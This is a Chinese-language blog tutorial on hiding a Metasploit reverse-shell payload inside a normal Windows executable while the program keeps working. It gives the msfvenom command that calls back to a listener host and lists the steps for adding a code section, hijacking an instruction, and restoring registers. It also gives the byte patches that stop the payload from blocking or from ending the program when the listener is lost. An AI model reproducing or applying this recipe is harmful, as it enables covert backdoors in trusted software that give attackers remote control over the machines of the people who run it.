在不影響程式使用的情況下新增shellcode

CN_Simo發表於2020-08-19

參考

在文章Backdooring PE Files with Shellcode中介紹了一種在正常程式中注入shellcode的方式,讓程式以前的邏輯照常能夠正常執行,下面復現一下並解決幾個小問題。

示例程式程式碼

這裡直接編譯一個32位的HelloWorld程式為例:

#include <stdio.h>

int main()
{
	puts("Hello World!");
	return 0;
}

編譯後的exe,可以使用CFF Explorer檢視相關資訊。

大致步驟

少繞彎子,補充一下通用步驟:

  1. 利用msf生成一個payload,儲存成一個bin檔案,命令:msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
  2. 通過010Editor等編輯工具在bin檔案的前後各插入20-40個位元組,以90填充
  3. 在目標exe中新增一個新的程式碼段,將bin的內容匯入,並設定可讀、可寫、可執行、包含程式碼等屬性標誌
  4. 更新header大小以及重建PE頭
  5. 使用x32dbg除錯exe並檢視新加程式碼段的基址,例如是0x004A0000
  6. 一個5位元組長度的指令,例如:call 0x00471B50,覆蓋成jmp 0x004A0000
  7. 記住下一條指令的位置,例如:0x00491EF8,後面恢復程式正常邏輯的時候要用
  8. 編輯程式碼段開頭,用pushadpushfd指令覆蓋開頭2個位元組
  9. 除錯exe,觀察pushfd之後的ESP值,例如0x010FFDBC,以及shellcode執行結束時ESP值,例如0x010FFBB8,發現少了0x204
  10. 為了能夠恢復之前的暫存器狀態,在shellcode最後追加指令add esp, 0x204
  11. 追加popfdpopad指令,和push順序相反
  12. 將第6步中覆蓋前的指令追加到popad之後
  13. 最後,恢復之前的執行邏輯,追加jmp 0x00491EF8指令,跳到第7步記錄位置

問題1:到12和13步總是不能跳到正確的位置

注意三點:

  1. 第6步和第7步獲取的值要保證當前除錯的PE頭大小是和最終的PE頭大小是一致的,檢查第4步操作
  2. 每次除錯exe的時候,基址可能會發生變化,所以複製的指令只能用於修改當前調式例項
  3. 在複製jmp指令的機器碼的時候,注意不要和目標跳轉位置太近,會複製成短地址的指令

問題2:保證步驟沒問題之後,程式仍然不能恢復正常邏輯

通過除錯將發生阻塞的操作進行nop,例如WaitForSingleObjectmsf的payload需要將4e 56 46 ff替換成80 56 80 ff

原來給WaitForSingleObject傳的引數是-1,會阻塞執行緒,想辦法改成0就行,這裡將dec esi操作nop掉了,push esi就是0

問題3:在監聽端失聯的情況下,程式長時間阻塞後程式終止

應該是檢查服務端失聯的情況下直接終止程式了,通過除錯找到終止位置nop掉即可

問題4:在哪找程式碼段的基址

除了參考文章中提到的通過檔案偏移計算,還可以直接利用x32dbg的記憶體佈局直接檢視

最後效果

省略。。。

相關文章